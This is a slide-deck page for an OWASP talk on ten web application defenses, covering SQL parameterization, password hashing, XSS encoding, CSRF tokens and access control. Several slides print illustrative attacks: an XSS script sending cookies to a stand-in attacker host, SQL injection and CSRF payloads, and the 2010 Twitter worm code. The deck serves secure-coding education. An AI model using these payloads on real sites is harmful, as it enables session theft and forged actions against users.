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Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
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Top Ten Web Application Defenses v12

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We cannot “firewall” or “patch” our way to secure websites. In the past, security professionals thought firewalls, Secure Sockets Layer (SSL), patching, and privacy policies were enough. Today, …

We cannot “firewall” or “patch” our way to secure websites. In the past, security professionals thought firewalls, Secure Sockets Layer (SSL), patching, and privacy policies were enough. Today, however, these methods are outdated and ineffective, as attacks on prominent, well-protected websites are occurring every day. Most every organization in the world have something in common – they have had websites compromised in some way. No company or industry is immune. Programmers need to learn to build websites differently. This talk will review the top coding techniques developers need to master in order to build a low-risk, high-security web application.

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  • Other problems : what else is wrong with this code?
  • 6/3/2012
    CVE-2012-2660/2661/2694
    Active record 3.0 and later for Ruby on Rails is vuln to
    Fixed in RoR 3.2.5, 3.1.5, 3.0.13
    Rails 2.3.x is vilnerable to various injections that have NOT been patched and will N:OT be patched so please don’t use it
    ****
    1/3/2013
    http://lwn.net/Articles/531267/
    An SQL injection vulnerability in all Ruby on Rails releases has been disclosed. "Due to the way dynamic finders in Active Record extract options from method parameters, a method parameter can mistakenly be used as a scope. Carefully crafted requests can use the scope to inject arbitrary SQL."
    Fixed in 3.2.10, 3.1.9, and 3.0.18 releases.
  • Guidance
     
    Do not defeat users’ attempts to secure their credentialslimit type of characters or length of user passwords
    Some organizations restrict the 1) types of special characters and 2) length of credentials accepted by systems because of their inability to prevent SQL Injection, Cross-site scripting, and analogous command-injection attacks. However, secure password storage mechanisms possess design elements that prevent length, constituency, and even encoding from subverting system security.
    Do not apply length, character set, or encoding restrictions on the entry or storage of credentials. Continue applying encoding, escaping, masking, outright omission, and other best practices to rendering this information when applicable.   
  • Salts serve two purposes:
    De-duplicate protected output of identical credentials and
    Augment entropy fed to protecting function without relying on credential complexity. The second aims to make pre-computed lookup attacks [*2] on an individual credential and time-based attacks on a population intractable.
  • HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’).
    Designers protecting stored credentials with keyed functions:
     
    Use a single “site-wide” key;
     
    Protect this key as any private key using best practices;
    Store the key outside the credential store (aka: not in the database);
    Generate the key using cryptographically-strong pseudo-random data;
    Do not worry about output block size (i.e. SHA-256 vs. SHA-512).
    Example protect() pseudo-code follows:
    return [salt] + HMAC-SHA-256([key], [salt] + [credential]);  
    Upholding security improvement over (solely) salted schemes relies on proper key management.
     
    Design protection/verification for compromise
    The frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows:
     
    Protect the user’s account
    Invalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questions
    Disallow changes to account (secret questions, out of band exchange channel setup/selection, etc.)
    Load & use new protection scheme
    Load a new (stronger) protect(credential) function
    Include version information stored with form
    Set ‘tainted’/‘compromised’ bit until user resets credentials
    Rotate any keys and/or adjust protection function parameters (iter count)
    Increment scheme version number
    When user logs in:
    Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answers
    Prompt user for credential change, apologize, & conduct OOB confirmation
    Convert stored credentials to new scheme as user successfully log in
     
    Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows.
    http://www.tarsnap.com/scrypt/scrypt.pdf
     
  • Impose intractable verification on [only] attacker
    The function used to protect stored credentials should balance between A) acceptable response time for verification of users’ credentials during peak use while B) placing time required to map <credential> → <protected form>  beyond threats’ hardware (GPU, FPGA) and technique (dictionary-based, brute force, etc) capabilities. Two approaches facilitate this, each imperfectly.
    Leverage an adaptive one-way function - Adaptive one-way functions compute a one-way (irreversible) transform. Each function allows configuration of ‘work factor’. Underlying mechanisms used to achieve irreversibility and govern work factors (such as time, space, and parallelism) vary between functions and remain unimportant to this discussion. Select:
     
    PBKDF2 [*4] when FIPS certification or enterprise support on many platforms is required;
    Scrypt [*5] where resisting any/all hardware accelerated attacks is necessary but support isn’t.
    Example protect() pseudo-code follows:
    return [salt] + pbkdf2([salt], [credential], c=10000);  
    Designers select one-way adaptive functions to implement protect() because these functions can be configured to cost (linearly or exponentially) more than a hash function to execute. Defenders adjust work factor to keep pace with threats’ increasing hardware capabilities. Those implementing adaptive one-way functions must tune work factors so as to impede attackers while providing acceptable user experience and scale. Additionally, adaptive one-way functions do not effectively prevent reversal of common dictionary-based credentials (users with password ‘password’) regardless of user population size or salt usage.
     
    Leverage Keyed functions - Keyed functions, such as HMACs, compute a one-way (irreversible) transform using a private key and given input. For example, HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’).
    Designers protecting stored credentials with keyed functions:
     
    Use a single “site-wide” key;
     
    Protect this key as any private key using best practices;
    Store the key outside the credential store (aka: not in the database);
    Generate the key using cryptographically-strong pseudo-random data;
    Do not worry about output block size (i.e. SHA-256 vs. SHA-512).
    Example protect() pseudo-code follows:
    return [salt] + HMAC-SHA-256([key], [salt] + [credential]);  
    Upholding security improvement over (solely) salted schemes relies on proper key management.
     
    Design protection/verification for compromise
    The frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows:
     
    Protect the user’s account
    Invalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questions
    Disallow changes to account (secret questions, out of band exchange channel setup/selection, etc.)
    Load & use new protection scheme
    Load a new (stronger) protect(credential) function
    Include version information stored with form
    Set ‘tainted’/‘compromised’ bit until user resets credentials
    Rotate any keys and/or adjust protection function parameters (iter count)
    Increment scheme version number
    When user logs in:
    Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answers
    Prompt user for credential change, apologize, & conduct OOB confirmation
    Convert stored credentials to new scheme as user successfully log in
     
    Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows.
    http://www.tarsnap.com/scrypt/scrypt.pdf
     
  • > Also, SMS can be defeated a number of ways, fro SIM swop fraud
    > (http://financialcryptography.com/mt/archives/001349.html), to Zitmo's
    > patching at the kernel (SMS is sent/received via the socket API), to
    > simply being the highest priority receiver and swallowing the SMS on
    > Android (https://groups.google.com/d/msg/android-security-discuss/TURchbIN_LE/8x69SeMF7eQJ).
    So it reduces risk but is not full proof.
    Hi Jim, Below is the reference for the statement that US banks suffer fraud at 600x the rate of a DE bank. It's from Gutmann's Engineering Security (www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf‎), page 542.
    The effect of different banks’ attitudes towards password security (and security in general) is shown in phishing loss figures, with losses in the UK, which has traditionally used straight passwords, being eight times higher than in Germany, which used to use TANs and has since moved on to even stronger measures. Similar sorts of figures are given in a comparison of US and Asian banks, who use (real) two-factor authentication, perform comprehensive analyses of electronic crime incidents, and in general are concerned about their reputation and image and are prepared to invest extra effort to protect them. For example one Japanese bank maintains multiple independent security-audit/assessment teams, often using two or more teams to check a particular system, with the different teams acting as a cross-check on each others’ performance. The bank’s security people plant known vulnerabilities in order to verify that their auditing teams are catching things, and rate each team’s performance against that of the others. At the end of the year the lowest-performing team for that year gets reassigned to other work, and new auditors/assessors are brought in to replace them. The losses due to electronic crime like phishing and malware for these banks is twenty-five times lower than for equivalent US banks [100]. In contrast in the US, where banks not only use straight passwords but as previous chapters have pointed out actively train their customers to become phishing victims, phishing losses are a staggering six hundred times higher than in Germany [101].
  • HTML Contexts
    Encode#forHtmlContent(String)
    Encode#forHtmlAttribute(String)
    Encode#forHtmlUnquotedAttribute(String)
    XML Contexts
    Encode#forXml(String)
    Encode#forXmlContent(String)
    Encode#forXmlAttribute(String)
    Encode#forXmlComment(String)
    Encode#forCDATA(String)
    CSS Contexts
    Encode#forCssString(String)
    Encode#forCssUrl(String)
    JavaScript Contexts
    Encode#forJava(String)
    Encode#forJavaScript(String)
    Encode#forJavaScriptAttribute(String) JavaScript attribute
    Encode#forJavaScriptBlock(String) JavaScript block
    Encode#forJavaScriptSource(String) JavaScript source
    URI/URL contexts
    Encode#forUri(String)
    Encode#forUriComponent(String)
  • http://wpl.codeplex.com/ Microsoft Web Protection Library
  • Need to expand this section!
  • Note: The issue with $() is being worked on and will hopefully be much harder to exploit in jQuery 1.8
  • CREDIT THIS TO DAVE WICHERS.
    Note: The issue with $() is being worked on and will hopefully be much harder to exploit in jQuery 1.8
  • Put this all in the HEAD tag
  • Pinning is a key continuity scheme, and the idea is to either (1) carry around a copy of the server’s public key; or (2) note of the server’s public key on first use (Trust-on-First-Use, Tofu). The former is great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance. The latter is useful when no a priori knowledge exists, such as SSH or a Browser. Both detect the unexpected change that occurs when an imposter with a fake certificate attempts to act like the real server.
     
    While you have a choice to pin the certificate or public key, it’s often best to pin the public key. That is because some companies, such as Google, rotate its certificate regularly (every 30 days or so) but re-certifies the inner public key.
  • Transcript

    • 1. Top Ten Web Application Defenses
    • 2. Jim Manico @manicode OWASP Volunteer - Global OWASP Board Member - OWASP Cheat-Sheet Series Project Manager and Contributor VP Sec Architecture, WhiteHat Security - 16 years of web-based, databasedriven software development and analysis experience - Secure coding educator/author Kama'aina Resident of Kauai, Hawaii - Aloha!
    • 3. WARNING THIS IS AN AWARENESS DOCUMENT. THERE ARE MORE THAN 10 ISSUES THAT DEVELOPERS NEED TO BE AWARE OF. YOU CANNOT BASE AN APPSEC PROGRAM OFF OF A TOP TEN LIST.
    • 4. ATTACKS IN-THE-WILD WASC: Web Hacking Incident Database http://projects.webappsec.org/w/page/13246995/Web-Hacking-Incident-Database
    • 5. [1] ';
    • 6. Anatomy of a SQL Injection Attack $NEW_EMAIL = Request['new_email']; update users set email='$NEW_EMAIL' where id=132005;
    • 7. Anatomy of a SQL Injection Attack 1. SUPER AWESOME HACK: $NEW_EMAIL = '; 2. update users set email='$NEW_EMAIL' where id=132005; 3. update users set email='';--' where id=132005;
    • 8. Query Parameterization (PHP PDO) $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);
    • 9. Query Parameterization (.NET) SqlConnection objConnection = new SqlConnection(_ConnectionString); objConnection.Open(); SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection); objCommand.Parameters.Add("@Name", NameTextBox.Text); objCommand.Parameters.Add("@Password", PassTextBox.Text); SqlDataReader objReader = objCommand.ExecuteReader();
    • 10. Query Parameterization (Java) String newName = request.getParameter("newName"); String id = request.getParameter("id"); //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id); //HQL Query safeHQLQuery = session.createQuery("from Employees where id=:empId"); safeHQLQuery.setParameter("empId", id);
    • 11. Query Parameterization Failure (Ruby on Rails) # Create Project.create!(:name => 'owasp') # Read Project.all(:conditions => "name = ?", name) Project.all(:conditions => { :name => name }) Project.where("name = :name", :name => name) Project.where(:id=> params[:id]).all # Update project.update_attributes(:name => 'owasp')
    • 12. Query Parameterization (Cold Fusion) <cfquery name="getFirst" dataSource="cfsnippets"> SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <cfqueryparam value=#intCourseID# CFSQLType="CF_SQL_INTEGER"> </cfquery>
    • 13. Query Parameterization (PERL DBI) my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )"; my $sth = $dbh->prepare( $sql ); $sth->execute( $bar, $baz );
    • 14. [2] Password Defenses Disable Browser Autocomplete <form AUTOCOMPLETE="off"> <input AUTOCOMPLETE="off"> Only send passwords over HTTPS POST Do not display passwords in browser Input type=password Store password based on need Use a salt (de-duplication) SCRYPT/PBKDF2 (slow, performance hit, easy) HMAC (requires good key storage, tough)
    • 15. Password Storage in the Real World 1) Do not limit the type of characters or length of user password • Limiting passwords to protect against injection is doomed to failure • Use proper encoder and other defenses described instead
    • 16. Password Storage in the Real World 2) Use a cryptographically strong credential-specific salt •protect( [salt] + [password] ); •Use a 32char or 64char salt (actual size dependent on protection function); •Do not depend on hiding, splitting, or otherwise obscuring the salt
    • 17. Leverage Keyed Functions 3a) Impose difficult verification on [only] the attacker (strong/fast) •HMAC-SHA-256( [private key], [salt] + [password] ) •Protect this key as any private key using best practices •Store the key outside the credential store •Upholding security improvement over (solely) salted schemes relies on proper key creation and management
    • 18. Password Storage in the Real World 3b) Impose difficult verification on the attacker and defender (weak/slow) •pbkdf2([salt] + [password], c=10,000,000); •PBKDF2 when FIPS certification or enterprise support on many platforms is required •Scrypt where resisting any/all hardware accelerated attacks is necessary but support isn’t.
    • 19. [3] Multi Factor Authentication Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter Blizzard's Battle.Net, Valve's Steam, Yahoo
    • 20. Basic MFA Considerations • Where do you send the token? – Email (worst) – SMS (ok) – Mobile native app (good) – Dedicated token (great) – Printed Tokens (interesting) • How do you handle thick clients? – Email services, for example – Dedicated and strong per-app passwords 20
    • 21. Basic MFA Considerations • How do you handle unavailable MFA devices? – Printed back-up codes – Fallback mechanism (like email) – Call in center • How do you handle mobile apps? – When is MFA not useful in mobile app scenarios? 21
    • 22. Forgot Password Secure Design Require identity questions Last name, account number, email, DOB Enforce lockout policy Ask one or more good security questions https://www.owasp.org/index.php/Choosing_and_Using_Security_ Questions_Cheat_Sheet Send the user a randomly generated token via out-of-band email, SMS or token Verify code in same web session Enforce lockout policy Change password Enforce password policy
    • 23. [4] Anatomy of a XSS Attack <script > var badURL=‘https://evileviljim.com/somesit e/data=‘ + document.cookie; var img = new Image(); img.src = badURL; </script> <script>document.body.innerHTML=‘<blink >CYBER IS COOL</blink>’;</script>
    • 24. Contextual Output Encoding (XSS Defense) – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
    • 25. XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
    • 26. <
    • 27. &lt;
    • 28. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary • This code was designed for high-availability/highperformance encoding functionality • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • Java 1.5+ • Last updated February 14, 2013 (version 1.1)
    • 29. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project The Problem The Problem Web Page built in Java JSP is vulnerable to XSS Web Page built in Java JSP is vulnerable to XSS The Solution The Solution 1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" /> 1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" /> 2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %>" /> 2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %>" /> 3) <button 3) <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"> onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"> click me click me </button> </button> 4) <script type="text/javascript"> 4) <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(message) %>"; var msg = "<%= Encode.forJavaScriptBlock(message) %>"; alert(msg); alert(msg); </script> </script>
    • 30. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute (String) XML Contexts Encode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS Contexts Encode#forCssString(String) Encode#forCssUrl(String) JavaScript Contexts Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) Encode#forJavaScriptBlock(String) Encode#forJavaScriptSource(String) URI/URL contexts Encode#forUri(String) Encode#forUriComponent(String)
    • 31. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project <script src="/my-server-side-generated-script"> <script src="/my-server-side-generated-script"> class MyServerSideGeneratedScript extends HttpServlet {{ class MyServerSideGeneratedScript extends HttpServlet void doGet(blah) {{ void doGet(blah) response.setContentType("text/javascript; charset=UTF-8"); response.setContentType("text/javascript; charset=UTF-8"); PrintWriter w = response.getWriter(); w.println("function() {"); PrintWriter w = response.getWriter(); w.println("function() {"); w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + "');"); "');"); w.println("}"); w.println("}"); }} }}
    • 32. Other Encoding Libraries • Ruby on Rails – http://api.rubyonrails.org/classes/ERB/Util.html • Reform Project – Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP – https://www.owasp.org/index.php/ Category:OWASP_Encoding_Project • ESAPI – PHP.NET, Python, Classic ASP, Cold Fusion – https://www.owasp.org/index.php/ Category:OWASP_Enterprise_Security_API • .NET AntiXSS Library – http://wpl.codeplex.com/releases/view/80289
    • 33. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-htmlsanitizer/wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration. No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization. OWASP
    • 34. Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem The Problem Web Page is vulnerable to XSS because of untrusted HTML Web Page is vulnerable to XSS because of untrusted HTML The Solution The Solution PolicyFactory policy = new HtmlPolicyBuilder() PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowElements("a") .allowUrlProtocols("https") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .requireRelNofollowOnLinks() .build(); .build(); String safeHTML = policy.sanitize(untrustedHTML); String safeHTML = policy.sanitize(untrustedHTML);
    • 35. Other HTML Sanitizers • Pure JavaScript – http://code.google.com/p/googlecaja/wiki/JsHtmlSanitizer • Python – https://pypi.python.org/pypi/bleach • PHP – http://htmlpurifier.org/ – http://www.bioinformatics.org/phplabware/internal_u tilities/htmLawed/ • .NET – AntiXSS.getSafeHTML/getSafeHTMLFragment – http://htmlagilitypack.codeplex.com/ • Ruby on Rails – http://api.rubyonrails.org/classes/HTML.html
    • 36. DOM-Based XSS Defense • JavaScript encode and delimit untrusted data as quoted strings • Avoid use of HTML rendering methods like innerHTML – If you must do this, then sanitize untrusted HTML first • Avoid code execution contexts – eval(), setTimeout() or event handlers • When possible, treat untrusted data as display text only • Use document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…), etc. to build dynamic interfaces • Parse JSON with JSON.parse in the browser
    • 37.  SAFE use of JQuery $(‘#element’).text(UNTRUSTED DATA);  UNSAFE use of JQuery  $(‘#element’).html(UNTRUSTED DATA); 
    • 38. Dangerous jQuery 1.7.2 Data Types CSS Some Attribute Settings HTML URL (Potential Redirect) jQuery methods that directly update DOM or can execute JavaScript $() or jQuery() .attr() .add() .css() .after() .html() .animate() .insertAfter() .append() .insertBefore() .appendTo() Note: .text() updates DOM, but is safe. jQuery methods that accept URLs to potentially unsafe content jQuery.ajax() jQuery.post() jQuery.get() load() jQuery.getScript() 39
    • 39. Content Security Policy • Anti-XSS W3C standard http://www.w3.org/TR/CSP/ • Move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
    • 40. [5] Cross Site Request Forgery Defense <img src="https://google.com/logo.png"> <img src="https://google.com/deleteMail/7/confirm=true"> <form method="POST" action="https://mybank.com/transfer"> <input type="hidden" name="account" value="23532632"/> <input type="hidden" name="amount" value="1000"/> </form> <script>document.forms[0].submit()</script>
    • 41. Real World CSRF – Netflix (2008) <html> <head> <script language="JavaScript" type="text/javascript"> function load_image2() { var img2 = new Image(); img2.src="http://www.netflix.com/MoveToTop?movieid=70110672&fromq=true"; } </script> </head> <body> <img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672" width="1" height="1" border="0"> <script>setTimeout( 'load_image2()', 2000 );</script> </body> </html>
    • 42. Twitter XSS/CSRF Worm Code (2010) var content = document.documentElement.innerHTML; authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); var authtoken = authreg.exec(content);authtoken = authtoken[1]; //alert(authtoken); var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); var ajaxConn = new XHConn();ajaxConn.connect("/status/update","POST”,"authenticit y_token=" + authtoken+"&status=" + updateEncode + "&tab=home&update=update"); var ajaxConn1 = new XHConn(); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");
    • 43. Recent CSRF Attacks (2012)
    • 44. CSRF Tokens and Re-authentication – Cryptographic Tokens • Primary and most powerful defense • XSS Defense Required – Require users to re-authenticate
    • 45. Re-authentication
    • 46. [6] Controlling Access if ((user.isManager() || user.isAdministrator() || user.isEditor()) && (user.id() != 1132)) { //execute action } How do you change the policy of this code?
    • 47. Apache SHIRO http://shiro.apache.org/ • Apache Shiro is a powerful and easy to use Java security framework. • Offers developers an intuitive yet comprehensive solution to authentication, authorization, cryptography, and session management. • Built on sound interface-driven design and OO principles. • Enables custom behavior. • Sensible and secure defaults for everything.
    • 48. Solving Real World Access Control Problems with the Apache Shiro The Problem The Problem Web Application needs secure access control mechanism Web Application needs secure access control mechanism The Solution The Solution if ( currentUser.isPermitted( "lightsaber:wield" ) ) { if ( currentUser.isPermitted( "lightsaber:wield" ) ) { log.info("You may use a lightsaber ring. Use it wisely."); log.info("You may use a lightsaber ring. Use it wisely."); } else { } else { log.info("Sorry, lightsaber rings are for schwartz masters only."); log.info("Sorry, lightsaber rings are for schwartz masters only."); } }
    • 49. Solving Real World Access Control Problems with the Apache Shiro The Problem The Problem Web Application needs to secure access to aaspecific object Web Application needs to secure access to specific object The Solution The Solution int winnebagoId = request.getInt("winnebago_id"); int winnebagoId = request.getInt("winnebago_id"); if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) { if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) { log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys."); log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys."); } else { } else { log.info("Sorry, you aren't allowed to drive this winnebago!"); log.info("Sorry, you aren't allowed to drive this winnebago!"); } }
    • 50. [7] Anatomy of a Clickjacking Attack
    • 51. X-Frame-Options // to prevent all framing of this content response.addHeader( "X-FRAME-OPTIONS", "DENY" ); // to allow framing of this content only by this site response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" ); // to allow framing from a specific domain response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
    • 52. Legacy Browser Clickjacking Defense <style id="antiCJ">body{display:none !important;}</style> <script type="text/javascript"> if (self === top) { var antiClickjack = document.getElementByID("antiCJ"); antiClickjack.parentNode.removeChild(antiClickjack) } else { top.location = self.location; } </script>
    • 53. [8] App Layer Intrusion Detection • Great detection points to start with – Input validation failure server side when client side validation exists – Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists – Forced browsing to common attack entry points (e.g. /admin/secretlogin.jsp) or honeypot URL (e.g. a fake path listed in /robots.txt)
    • 54. App Layer Intrusion Detection • Others – Blatant SQLi or XSS injection attacks – Workflow sequence abuse (e.g. multi-part form in wrong order) – Custom business logic (e.g. basket vs catalogue price mismatch)
    • 55. OWASP AppSensor (Java) • Project and mailing list https://www.owasp.org/index.php/OWASP_ AppSensor_Project • Four-page briefing, Crosstalk, Journal of Defense Software Engineering • http://www.crosstalkonline.org/storage/issue -archives/2011/201109/201109-Watson.pdf
    • 56. [9] Encryption in Transit (HTTPS/TLS) • Confidentiality, Integrity (in Transit) and Authenticity – Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL – Starting when the login form is rendered until logout is complete • HTTPS configuration best practices – https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Shee t • HSTS (Strict Transport Security) – http://www.youtube.com/watch?v=zEV3HOuM_Vw – Strict-Transport-Security: max-age=31536000 • Certificate Pinning – https://www.owasp.org/index.php/Pinning_Cheat_Sheet
    • 57. Certificate Pinning • What is Pinning – Pinning is a key continuity scheme – Detect when an imposter with a fake but CA validated certificate attempts to act like the real server • 2 Types of pinning – Carry around a copy of the server’s public key; – Great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance • Note of the server’s public key on first use (Trust-on-FirstUse, Tofu) – Useful when no a priori knowledge exists, such as SSH or a Browser • https://www.owasp.org/index.php/Pinning_Cheat_Sheet
    • 58. [10] • • • • • File Upload Security Upload Verification – Filename and Size validation + antivirus Upload Storage – Use only trusted filenames + separate domain Beware of "special" files – "crossdomain.xml" or "clientaccesspolicy.xml". Image Upload Verification – Enforce proper image size limits – Use image rewriting libraries – Set the extension of the stored image to be a valid image extension – Ensure the detected content type of the image is safe Generic Upload Verification – Ensure decompressed size of file < maximum size – Ensure that an uploaded archive matches the type expected (zip, rar) – Ensure structured uploads such as an add-on follow proper standard
    • 59. How I learned to stop worrying and love the WAF
    • 60. [11] Virtual Patching “A security policy enforcement layer which prevents the exploitation of a known vulnerability”
    • 61. Virtual Patching Rationale for Usage – No Source Code Access – No Access to Developers – High Cost/Time to Fix Benefit – Reduce Time-to-Fix – Reduce Attack Surface
    • 62. OWASP ModSecurity Core Rule Set http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
    • 63. THANK YOU! @manicode jim@owasp.org jim.manico@whitehatsec.com http://slideshare.com/jimmanico

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